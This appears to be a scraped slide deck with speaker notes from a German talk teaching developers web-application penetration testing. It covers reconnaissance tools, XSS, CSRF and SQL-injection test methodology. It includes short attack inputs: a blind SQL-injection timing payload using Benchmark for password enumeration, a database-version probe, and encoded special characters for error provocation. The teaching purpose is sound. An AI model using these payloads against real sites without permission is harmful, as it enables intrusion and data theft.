  • 138. Motivation Pentesting für Entwickler » Know your enemy » Der Entwickler ist der Hebel für Security » Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden » Security Awareness » Security ist komplex 30
  • 139. Motivation Pentesting für Entwickler » Know your enemy » Der Entwickler ist der Hebel für Security » Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden » Security Awareness » Security ist komplex » Ohne Verständnis der Angreiferseite sind manche Abwehrmaßnahmen nicht möglich 30
  • 144. Information Gathering » Infrastruktur » Host » Webserver » Webapplikationen 31
  • 145. Information Gathering - Infrastruktur 32
  • 146. Information Gathering - Infrastruktur » Welcher Hoster, welcher Netzblock » Sind andere Server in der Nähe, zum Beispiel SQL-Server? » Staging-Server? 32
  • 147. Information Gathering - Infrastruktur » Welcher Hoster, welcher Netzblock » Sind andere Server in der Nähe, zum Beispiel SQL-Server? » Staging-Server? » Tools » whois, Nmap, BSI OSS Security Suite, fierce 32
  • 148. Information Gathering - Infrastruktur » Welcher Hoster, welcher Netzblock » Sind andere Server in der Nähe, zum Beispiel SQL-Server? » Staging-Server? » Tools » whois, Nmap, BSI OSS Security Suite, fierce » Fehler in der Infrastruktur » offenen Zone-Listen im DNS, offene Datenbank-Server etc 32
  • 150. Information Gathering Host » Nmap: offene Ports, welche Services 33
  • 151. Information Gathering Host » Nmap: offene Ports, welche Services » Banner: Welche Versionen? 33
  • 152. Information Gathering Host » Nmap: offene Ports, welche Services » Banner: Welche Versionen? » HTTPrint 33
  • 153. Information Gathering Host » Nmap: offene Ports, welche Services » Banner: Welche Versionen? » HTTPrint » Andere Domains auf der gleichen IP http://myipneighbors.com 33
  • 156. Information Gathering Webserver » Google Dorks » http://johnny.ihackstuff.com/ghdb.php 34
  • 157. Information Gathering Webserver » Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow 34
  • 158. Information Gathering Webserver » Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow » Wikto Web Server Scanner 34
  • 159. Information Gathering Webserver » Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow » Wikto Web Server Scanner » OpenSource Perl Scanner mit grosser Library 34
  • 160. Information Gathering Webserver » Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow » Wikto Web Server Scanner » OpenSource Perl Scanner mit grosser Library » http://www.netcraft.co.uk/ 34
  • 161. Information Gathering Webserver » Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow » Wikto Web Server Scanner » OpenSource Perl Scanner mit grosser Library » http://www.netcraft.co.uk/ » FoundStone SuperScan 34
  • 164. Zielhost: Artifakte » Transparente Endungen und Artifakte » config.ini » config.ini~ » config.ini.bak » config.ini.tmp » config.old » config.orig 36
  • 165. Zielhost: Artifakte » Transparente Endungen und Artifakte » config.ini » config.ini~ » config.ini.bak » config.ini.tmp » config.old » config.orig » Beispiel: Artifakte von SCM: http://omniti.com/.svn/entries 36
  • 167. Parameter Manipulation » Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies 37
  • 168. Parameter Manipulation » Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies » Andere Manipulationen 37
  • 169. Parameter Manipulation » Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies » Andere Manipulationen » User-Agent 37
  • 170. Parameter Manipulation » Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies » Andere Manipulationen » User-Agent » DNS, Hostname vom Client 37
  • 171. Parameter Manipulation » Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies » Andere Manipulationen » User-Agent » DNS, Hostname vom Client » Bei Default-Domain: HTTP Host-Header 37
  • 172. Parameter Manipulation » Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies » Andere Manipulationen » User-Agent » DNS, Hostname vom Client » Bei Default-Domain: HTTP Host-Header » Accept-Header: Language, Encoding 37
  • 176. Pentesting Webapplikationen » Tools » XSS Pentesting » CSRF Pentesting 38
  • 177. Pentesting Webapplikationen » Tools » XSS Pentesting » CSRF Pentesting » SQL 38
  • 178. Pentesting Webapplikationen » Tools » XSS Pentesting » CSRF Pentesting » SQL » SQL Injection 38
  • 179. Pentesting Webapplikationen » Tools » XSS Pentesting » CSRF Pentesting » SQL » SQL Injection » Blind SQL Injection 38
  • 180. Pentesting Webapplikationen » Tools » XSS Pentesting » CSRF Pentesting » SQL » SQL Injection » Blind SQL Injection » Information Disclosure 38
  • 181. Tools zum manuellen Pentesten 39
  • 182. Tools zum manuellen Pentesten » Browser: Firefox 39
  • 183. Tools zum manuellen Pentesten » Browser: Firefox » Firefox Plugins 39
  • 184. Tools zum manuellen Pentesten » Browser: Firefox » Firefox Plugins » Tamper Data 39
  • 185. Tools zum manuellen Pentesten » Browser: Firefox » Firefox Plugins » Tamper Data » Hackbar 39
  • 186. Tools zum manuellen Pentesten » Browser: Firefox » Firefox Plugins » Tamper Data » Hackbar » Firebug 39
  • 187. Tools zum manuellen Pentesten » Browser: Firefox » Firefox Plugins » Tamper Data » Hackbar » Firebug » Greasemonkey XSS Assistant 39
  • 188. XSS Pentest 40
  • 189. XSS Pentest » Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet? 40
  • 190. XSS Pentest » Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet? » Wird die Seite mit diesem String manipuliert? 40
  • 191. XSS Pentest » Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet? » Wird die Seite mit diesem String manipuliert? » Typisches Beispiel: Frames und Iframes 40
  • 192. XSS Pentest 41
  • 193. XSS Pentest » Typ 1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt 41
  • 194. XSS Pentest » Typ 1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt » Anhand des Auftrittsortes eine passende XSS-Payload konstruieren 41
  • 195. XSS Pentest » Typ 1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt » Anhand des Auftrittsortes eine passende XSS-Payload konstruieren » Falls ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet verwenden 41
  • 197. CSRF Pentesting » Prüfung: Existiert ein Tokenschutz? 42
  • 198. CSRF Pentesting » Prüfung: Existiert ein Tokenschutz? » Falls ja 42
  • 199. CSRF Pentesting » Prüfung: Existiert ein Tokenschutz? » Falls ja » Ist der Token vorhersehbar? 42
  • 200. CSRF Pentesting » Prüfung: Existiert ein Tokenschutz? » Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft? 42
  • 201. CSRF Pentesting » Prüfung: Existiert ein Tokenschutz? » Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft? » Falls nein 42
  • 202. CSRF Pentesting » Prüfung: Existiert ein Tokenschutz? » Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft? » Falls nein » existiert ein Referer-Check? 42
  • 203. CSRF Pentesting » Prüfung: Existiert ein Tokenschutz? » Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft? » Falls nein » existiert ein Referer-Check? » Prüfung auf XSS und Flash-Angriffe, um das Token auszulesen 42
  • 205. SQL Injection Pentesting » Parametermanipulation 43
  • 206. SQL Injection Pentesting » Parametermanipulation » Test mit Escape-Parametern und Sonderzeichen 43
  • 207. SQL Injection Pentesting » Parametermanipulation » Test mit Escape-Parametern und Sonderzeichen » Lassen sich Fehlermeldungen provozieren? 43
  • 208. SQL Injection Pentesting » Parametermanipulation » Test mit Escape-Parametern und Sonderzeichen » Lassen sich Fehlermeldungen provozieren? » Ändert sich etwas an den dargestellten Werten? 43
  • 210. SQL Injection Pentesting » Rekonstruktion der Query 44
  • 211. SQL Injection Pentesting » Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? 44
  • 212. SQL Injection Pentesting » Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler 44
  • 213. SQL Injection Pentesting » Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch 44
  • 214. SQL Injection Pentesting » Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests 44
  • 215. SQL Injection Pentesting » Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union 44
  • 216. SQL Injection Pentesting » Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union » Neutralisierung von Filtern durch Kommentare 44
  • 217. SQL Injection Pentesting » Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union » Neutralisierung von Filtern durch Kommentare » Erkennung der Datenbank und Version 44
  • 218. SQL Injection Pentesting » Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union » Neutralisierung von Filtern durch Kommentare » Erkennung der Datenbank und Version » SELECT /*!32302 1/0, */1 FROM tablename 44
  • 219. SQL Injection Pentesting - Blind SQL Injection 45
  • 220. SQL Injection Pentesting - Blind SQL Injection » Nicht jede Query liefert ein sichtbares Ergebnis 45
  • 221. SQL Injection Pentesting - Blind SQL Injection » Nicht jede Query liefert ein sichtbares Ergebnis » Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren 45
  • 222. SQL Injection Pentesting - Blind SQL Injection » Nicht jede Query liefert ein sichtbares Ergebnis » Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren » index.jsp?field=name&direction=ASC 45
  • 223. SQL Injection Pentesting - Blind SQL Injection » Nicht jede Query liefert ein sichtbares Ergebnis » Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren » index.jsp?field=name&direction=ASC » ..direction=,Benchmark(1...0, md5(1)) ASC 45
  • 224. SQL Injection Pentesting - Blind SQL Injection » Nicht jede Query liefert ein sichtbares Ergebnis » Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren » index.jsp?field=name&direction=ASC » ..direction=,Benchmark(1...0, md5(1)) ASC » Kann zur Passwortenumeration genutzt werden 45
  • 226. Information Disclosure Pentesting » Nach Artifakten suchen 46
  • 227. Information Disclosure Pentesting » Nach Artifakten suchen » Gezielt Fehlermeldungen provozieren 46
  • 228. Information Disclosure Pentesting » Nach Artifakten suchen » Gezielt Fehlermeldungen provozieren » Parameter-Manipulation 46
  • 229. Information Disclosure Pentesting » Nach Artifakten suchen » Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen 46
  • 230. Information Disclosure Pentesting » Nach Artifakten suchen » Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen » ‚ %00 %0A %0D %27 46
  • 231. Information Disclosure Pentesting » Nach Artifakten suchen » Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen » ‚ %00 %0A %0D %27 » Häufig sind Angaben in den Kommentaren versteckt! 46
  • 232. Information Disclosure Pentesting » Nach Artifakten suchen » Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen » ‚ %00 %0A %0D %27 » Häufig sind Angaben in den Kommentaren versteckt! » Typische Files: /admin/, /README etc 46
  • 234. Andere Vektoren » XPATH injections 47
  • 235. Andere Vektoren » XPATH injections » Similar to SQL injections using XPATH syntax 47
  • 236. Andere Vektoren » XPATH injections » Similar to SQL injections using XPATH syntax » XXE 47
  • 237. Andere Vektoren » XPATH injections » Similar to SQL injections using XPATH syntax » XXE » XML external Entity Injections 47
  • 238. Andere Vektoren » XPATH injections » Similar to SQL injections using XPATH syntax » XXE » XML external Entity Injections » Upload an XML file including references to local files 47
  • 239. Andere Vektoren » XPATH injections » Similar to SQL injections using XPATH syntax » XXE » XML external Entity Injections » Upload an XML file including references to local files » LDAP injections 47
  • 240. Andere Vektoren » XPATH injections » Similar to SQL injections using XPATH syntax » XXE » XML external Entity Injections » Upload an XML file including references to local files » LDAP injections » Logical Flaws 47
  • 241. Andere Vektoren » XPATH injections » Similar to SQL injections using XPATH syntax » XXE » XML external Entity Injections » Upload an XML file including references to local files » LDAP injections » Logical Flaws » Missing authorization checks 47
  • 242. Andere Vektoren » XPATH injections » Similar to SQL injections using XPATH syntax » XXE » XML external Entity Injections » Upload an XML file including references to local files » LDAP injections » Logical Flaws » Missing authorization checks » /user/edit.php?id=1 for admin editing 47
  • 243. Hands On » Einfache SQL-Injection » Blind SQL Injection » Hackme „OWasp Casino“ » SQL-Injection » Cross Site Request Forgery » Logischer Fehler 48
  • 244. Freiwilliger Penetration Test » Nur Suche nach XSS-Lücken » Gerne auch private Seiten 49
  • 245. Fragen? » 50
  • 246. Vielen Dank für Ihre Aufmerksamkeit! 51

Hinweis der Redaktion

  1. \n
  2. \n
  3. \n
  4. \n
  5. \n
  6. \n
  7. \n
  8. \n
  9. \n
  10. \n
  11. Warum noch einmal Grundlagen kommen, erkl&amp;#xE4;r ich gleich \n
  12. Warum noch einmal Grundlagen kommen, erkl&amp;#xE4;r ich gleich \n
  13. Warum noch einmal Grundlagen kommen, erkl&amp;#xE4;r ich gleich \n
  14. Warum noch einmal Grundlagen kommen, erkl&amp;#xE4;r ich gleich \n
  15. Warum noch einmal Grundlagen kommen, erkl&amp;#xE4;r ich gleich \n
  16. File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  17. File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  18. File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  19. File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  20. File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  21. File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  22. File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  23. Penetration Testing ist eine Form von Subversivit&amp;#xE4;t- es geht darum, nicht den offensichtlichen weg zu finden, sondern die seltsame Konstruktion, die trotzdem einen Hack erlaubt. Vermutlich ist das einer der Gr&amp;#xFC;nde, warum Security-Experten komische Leute sind :-) \nEigentlich gibt es eine Bauanleitung, wie man die Applikationen trotzdem wieder kaputt bekommt. \n
  24. Penetration Testing ist eine Form von Subversivit&amp;#xE4;t- es geht darum, nicht den offensichtlichen weg zu finden, sondern die seltsame Konstruktion, die trotzdem einen Hack erlaubt. Vermutlich ist das einer der Gr&amp;#xFC;nde, warum Security-Experten komische Leute sind :-) \nEigentlich gibt es eine Bauanleitung, wie man die Applikationen trotzdem wieder kaputt bekommt. \n
  25. Penetration Testing ist eine Form von Subversivit&amp;#xE4;t- es geht darum, nicht den offensichtlichen weg zu finden, sondern die seltsame Konstruktion, die trotzdem einen Hack erlaubt. Vermutlich ist das einer der Gr&amp;#xFC;nde, warum Security-Experten komische Leute sind :-) \nEigentlich gibt es eine Bauanleitung, wie man die Applikationen trotzdem wieder kaputt bekommt. \n
  26. Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit &lt;script&gt; reicht definitiv nicht aus.\n
  27. Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit &lt;script&gt; reicht definitiv nicht aus.\n
  28. Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit &lt;script&gt; reicht definitiv nicht aus.\n
  29. Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit &lt;script&gt; reicht definitiv nicht aus.\n
  30. Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit &lt;script&gt; reicht definitiv nicht aus.\n
  31. Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit &lt;script&gt; reicht definitiv nicht aus.\n
  32. Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit &lt;script&gt; reicht definitiv nicht aus.\n
  33. Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit &lt;script&gt; reicht definitiv nicht aus.\n
  34. Es gibt 4 Default- Kontexte, in denen Javascript ausgef&amp;#xFC;hrt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgef&amp;#xFC;hrt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzuf&amp;#xFC;gen von Script-Tags. Plugins, die JavaScript unterst&amp;#xFC;tzen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer geh&amp;#xF6;ren auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, f&amp;#xFC;hrt selbst wieder in dieser JS aus.\n
  35. Es gibt 4 Default- Kontexte, in denen Javascript ausgef&amp;#xFC;hrt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgef&amp;#xFC;hrt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzuf&amp;#xFC;gen von Script-Tags. Plugins, die JavaScript unterst&amp;#xFC;tzen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer geh&amp;#xF6;ren auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, f&amp;#xFC;hrt selbst wieder in dieser JS aus.\n
  36. Es gibt 4 Default- Kontexte, in denen Javascript ausgef&amp;#xFC;hrt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgef&amp;#xFC;hrt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzuf&amp;#xFC;gen von Script-Tags. Plugins, die JavaScript unterst&amp;#xFC;tzen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer geh&amp;#xF6;ren auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, f&amp;#xFC;hrt selbst wieder in dieser JS aus.\n
  37. Es gibt 4 Default- Kontexte, in denen Javascript ausgef&amp;#xFC;hrt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgef&amp;#xFC;hrt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzuf&amp;#xFC;gen von Script-Tags. Plugins, die JavaScript unterst&amp;#xFC;tzen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer geh&amp;#xF6;ren auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, f&amp;#xFC;hrt selbst wieder in dieser JS aus.\n
  38. Es gibt 4 Default- Kontexte, in denen Javascript ausgef&amp;#xFC;hrt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgef&amp;#xFC;hrt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzuf&amp;#xFC;gen von Script-Tags. Plugins, die JavaScript unterst&amp;#xFC;tzen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer geh&amp;#xF6;ren auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, f&amp;#xFC;hrt selbst wieder in dieser JS aus.\n
  39. Es gibt 4 Default- Kontexte, in denen Javascript ausgef&amp;#xFC;hrt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgef&amp;#xFC;hrt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzuf&amp;#xFC;gen von Script-Tags. Plugins, die JavaScript unterst&amp;#xFC;tzen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer geh&amp;#xF6;ren auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, f&amp;#xFC;hrt selbst wieder in dieser JS aus.\n
  40. URL-Encoding sch&amp;#xFC;tzt hier nur, weil der Doppelpunkt escaped wird. Gleichzeitig sch&amp;#xFC;tzt das Encoding gegen das Verlassen des Attribut-Kontextes.\nEs muss nicht per se javascript: sein, im IE-6 werden auch andere Scriptsprachen wie vbscript etc unterst&amp;#xFC;tzt.Besser ist nat&amp;#xFC;rlich, wenn man das Protokoll hart vorgibt - oder durch ein / schlicht ignoriert. \n
  41. Korrektes Escaping heisst in diesem Fall, dass die Anf&amp;#xFC;hrungszeichen in den Werten escaped werden.Ohne den String-Kontext hat man ein Problem: hier reichen n&amp;#xE4;mlich ganze normale Zeichen aus, um eine Injection zu provozieren.\n
  42. In Tags selbst wird XSS nur in Event-Handlern ausgef&amp;#xFC;hrt. Innerhalb eines Tags k&amp;#xF6;nnen auch andere Kontexte - etwa Style oder bei Url-Attributen JavaScript-Url-Kontext - eingef&amp;#xFC;hrt werden. Dabei ist nicht immer ein Doublequote notwendig - Beispiele finden sich genug im XSS Cheat Sheet\n
  43. Mit dem URL-Kontext k&amp;#xF6;nnen wiederum die klassischen Url-JavaScripts genutzt werden.\n
  44. Endlich ein Fall, in dem Tag-Filterung tats&amp;#xE4;chlich hilft! Und endlich ein Fall, in dem die ganzen Penetration-Tester und Tools, die nur auf &lt;script&gt;-Tags testen, eine Injection finden! \n
  45. Das gilt tats&amp;#xE4;chlich f&amp;#xFC;r jedes Escaping - diese Probleme findet man auch in Datenbanken, in Codeausf&amp;#xFC;hrungen, in Services - &amp;#xFC;berall, wo Parameter als Teil eines Strings &amp;#xFC;bergeben werden.\n
  46. Das gilt tats&amp;#xE4;chlich f&amp;#xFC;r jedes Escaping - diese Probleme findet man auch in Datenbanken, in Codeausf&amp;#xFC;hrungen, in Services - &amp;#xFC;berall, wo Parameter als Teil eines Strings &amp;#xFC;bergeben werden.\n
  47. Das gilt tats&amp;#xE4;chlich f&amp;#xFC;r jedes Escaping - diese Probleme findet man auch in Datenbanken, in Codeausf&amp;#xFC;hrungen, in Services - &amp;#xFC;berall, wo Parameter als Teil eines Strings &amp;#xFC;bergeben werden.\n
  48. Fazit: Es gibt kein silver bullet f&amp;#xFC;r XSS-Schutz, und kein Silver-Bullet f&amp;#xFC;r den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  49. Fazit: Es gibt kein silver bullet f&amp;#xFC;r XSS-Schutz, und kein Silver-Bullet f&amp;#xFC;r den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  50. Fazit: Es gibt kein silver bullet f&amp;#xFC;r XSS-Schutz, und kein Silver-Bullet f&amp;#xFC;r den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  51. Fazit: Es gibt kein silver bullet f&amp;#xFC;r XSS-Schutz, und kein Silver-Bullet f&amp;#xFC;r den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  52. Fazit: Es gibt kein silver bullet f&amp;#xFC;r XSS-Schutz, und kein Silver-Bullet f&amp;#xFC;r den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  53. Fazit: Es gibt kein silver bullet f&amp;#xFC;r XSS-Schutz, und kein Silver-Bullet f&amp;#xFC;r den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  54. Fazit: Es gibt kein silver bullet f&amp;#xFC;r XSS-Schutz, und kein Silver-Bullet f&amp;#xFC;r den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  55. Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  56. Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  57. Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  58. Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  59. Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  60. Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  61. Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  62. Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  63. Und, wie oben genannt, nat&amp;#xFC;rlich auch Plugins. Auch Flash-Movies k&amp;#xF6;nnen Cross-Site-Scripting-L&amp;#xFC;cken, zum Beispiel &amp;#xFC;ber die URL, enthalten.\n
  64. Und, wie oben genannt, nat&amp;#xFC;rlich auch Plugins. Auch Flash-Movies k&amp;#xF6;nnen Cross-Site-Scripting-L&amp;#xFC;cken, zum Beispiel &amp;#xFC;ber die URL, enthalten.\n
  65. Und, wie oben genannt, nat&amp;#xFC;rlich auch Plugins. Auch Flash-Movies k&amp;#xF6;nnen Cross-Site-Scripting-L&amp;#xFC;cken, zum Beispiel &amp;#xFC;ber die URL, enthalten.\n
  66. Und, wie oben genannt, nat&amp;#xFC;rlich auch Plugins. Auch Flash-Movies k&amp;#xF6;nnen Cross-Site-Scripting-L&amp;#xFC;cken, zum Beispiel &amp;#xFC;ber die URL, enthalten.\n
  67. Und, wie oben genannt, nat&amp;#xFC;rlich auch Plugins. Auch Flash-Movies k&amp;#xF6;nnen Cross-Site-Scripting-L&amp;#xFC;cken, zum Beispiel &amp;#xFC;ber die URL, enthalten.\n
  68. Und, wie oben genannt, nat&amp;#xFC;rlich auch Plugins. Auch Flash-Movies k&amp;#xF6;nnen Cross-Site-Scripting-L&amp;#xFC;cken, zum Beispiel &amp;#xFC;ber die URL, enthalten.\n
  69. Dieses Beispiel stammt von einem bekannten offenen Businessclub. \n
  70. Das ist nur eine unvollst&amp;#xE4;ndige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das m&amp;#xFC;ssen nicht per se Daten sein, sondern k&amp;#xF6;nnen nat&amp;#xFC;rlich auch Fehlermeldungen etc sein.\n
  71. Das ist nur eine unvollst&amp;#xE4;ndige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das m&amp;#xFC;ssen nicht per se Daten sein, sondern k&amp;#xF6;nnen nat&amp;#xFC;rlich auch Fehlermeldungen etc sein.\n
  72. Das ist nur eine unvollst&amp;#xE4;ndige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das m&amp;#xFC;ssen nicht per se Daten sein, sondern k&amp;#xF6;nnen nat&amp;#xFC;rlich auch Fehlermeldungen etc sein.\n
  73. Das ist nur eine unvollst&amp;#xE4;ndige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das m&amp;#xFC;ssen nicht per se Daten sein, sondern k&amp;#xF6;nnen nat&amp;#xFC;rlich auch Fehlermeldungen etc sein.\n
  74. Das ist nur eine unvollst&amp;#xE4;ndige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das m&amp;#xFC;ssen nicht per se Daten sein, sondern k&amp;#xF6;nnen nat&amp;#xFC;rlich auch Fehlermeldungen etc sein.\n
  75. Das ist nur eine unvollst&amp;#xE4;ndige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das m&amp;#xFC;ssen nicht per se Daten sein, sondern k&amp;#xF6;nnen nat&amp;#xFC;rlich auch Fehlermeldungen etc sein.\n
  76. Das ist nur eine unvollst&amp;#xE4;ndige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das m&amp;#xFC;ssen nicht per se Daten sein, sondern k&amp;#xF6;nnen nat&amp;#xFC;rlich auch Fehlermeldungen etc sein.\n
  77. Dieser Fall ist mit GMAIL vor 2 Monaten passiert, &amp;#xFC;ber eine Filter-Regel, die per XSS ausgef&amp;#xFC;hrt werden konnte.\n
  78. Das sind die klassischen Schutzma&amp;#xDF;nahmen. Gibts Wege drumherum? \n
  79. \n
  80. \n
  81. \n
  82. \n
  83. \n
  84. \n
  85. \n
  86. \n
  87. \n
  88. \n
  89. \n
  90. \n
  91. \n
  92. \n
  93. \n
  94. \n
  95. \n
  96. \n
  97. \n
